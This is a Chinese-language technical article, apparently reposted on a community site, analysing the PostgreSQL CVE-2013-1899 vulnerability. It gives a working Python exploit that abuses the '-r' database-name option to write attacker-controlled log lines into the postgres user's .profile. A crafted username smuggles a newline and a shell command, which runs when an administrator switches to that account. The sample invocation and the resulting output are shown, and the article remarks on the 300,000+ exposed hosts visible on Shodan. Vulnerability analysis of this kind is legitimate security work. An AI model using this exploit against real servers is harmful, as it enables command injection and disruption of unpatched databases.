设为首页收藏本站

LUPA开源社区

 找回密码
 注册
文章 帖子 博客

剖析PostgreSQL的CVE-2013-1899安全漏洞

2013-5-2 10:30| 发布者: joejoe0332| 查看: 3017| 评论: 0|原作者: scorpin|来自: oschina

摘要:   上个周,Postgresql团队对它旗下的著名开源RDBMS发布了一个安全方面的更新,一切看起来都像往常一样……   但是这条更新却引起了人们的极大关注,主要是因为在补丁发布前一周,Postgres开发者在pgsql-hacker ...

  另一种思路

  除了使用web脚本外,如果我们用默认安装目录下对postgres用户来说具有可写权限的脚本会有什么样的结果呢(以Ubuntu为例)?经过一番搜 寻,符合条件的脚本不多,我决定用~postgres/(Ubuntu的/var/lib/postgres)目录下的.profile文件作为突破口。

  首先再回顾一下"-r"选项的日志输出格式:

12013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100",
2user "test123", database "-rtest.out", SSL on
32013-04-08 14:25:50 EDT FATAL: no pg_hba.conf entry for host "192.168.1.100",
4user "test123", database "-rtest.out", SSL off

  因此,想要将有用的信息注入到.profile文件中,我们需要先写一个双引号("),后跟一个换行符(0x0a),再跟我们想要注入的命令,最后在写上一个哈希符(#)将其余的信息注释掉。

  但是,psql命令行工具貌似无法正确处理像换行符之类的特殊字符。因此,看来我们得自己编写个简易的客户端,其协议已经定义在了PostgreSQL文档中,或者用更简便的方法,由于Wireshark自带pgsql的解析器,我们只要抓个包就可看到其协议了。

  运行下面的命令并抓包:

1psql –username=”AAAAAAAAAAAAAAAAAAAAAAAAAA” –host=192.168.2.22 –dbname=”-BBBBBBBBBBBBBBBB”
由此我们可以看出posgres协议有以下组成部分:
  • 一个4字节的big-endian长度的字段(包括自身的大小)
  • 一个魔数(0×00, 0×03, 0×00, 0×00)
  • 由空字节(Null bytes)分隔的几个命令
  • 用户(user)
  • <输入的用户名>
  • 数据库(database)
  • <输入的数据库名>
  • 程序名(application_name)
  • <输入的程序名>
  • 客户端编码及值(client_encoding & value,我们忽略此项)
  • 空字节(null byte)结尾

我们用python编程构造一个请求:

01import socket
02import sys
03import struct
04 
05HOST="192.168.1.100"
06PORT=5432
07 
08buf = "\x00\x03\x00\x00" \
09 "user\x00" \
10 "\"\x0a" + sys.argv[1] + " #\x00" \#Supplied username (Our controlled data)
11 "database\x00" \
12 "-r" + sys.argv[2] + "\x00" \#Supplied filename to write to
13 "application_name\x00psql_pwnie\x00\x00"
14 
15buf = struct.pack(">I", len(buf)+4) + buf
16 
17sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
18sock.connect((HOST,PORT))
19sock.send(buf)
20data = sock.recv(1024)
21sock.close()
22print data
23sys.exit(0)
程序的第一个参数是要注入的命令,第二个参数是输出文件(.profile)的位置。

1x30n$ python pgsqlpwnie.py "/usr/bin/cal" /var/lib/postgresql/.profile
2 
3E�SFATALC28000Mno pg_hba.conf entry for host "192.168.1.20", user ""
4/usr/bin/cal #", database "-r/var/lib/postgresql/.profile", SSL offFauth.cL483RClientAuthentication
结果:

01root@ubuntu:~# su - postgres
022013-04-09: command not found
03 April 2013
04Su Mo Tu We Th Fr Sa
05 1 2 3 4 5 6
06 7 8 9 10 11 12 13
0714 15 16 17 18 19 20
0821 22 23 24 25 26 27
0928 29 30
10postgres@ubuntu:~$
现在我们要做的就是等管理员运行"su – postgres"。怎么样,容易吗?shodan显示互联网上还有30多万的主机正监听者5432端口…… 这次实验并不能称为一个严格的远程代码执行(RCE)攻击,但是却是一次值得称道的拒绝服务攻击。

酷毙

雷人

鲜花

鸡蛋

漂亮
  • 快毕业了,没工作经验,
    找份工作好难啊?
    赶紧去人才芯片公司磨练吧!!

最新评论

关于LUPA|人才芯片工程|人才招聘|LUPA认证|LUPA教育|LUPA开源社区 ( 浙B2-20090187 浙公网安备 33010602006705号   

返回顶部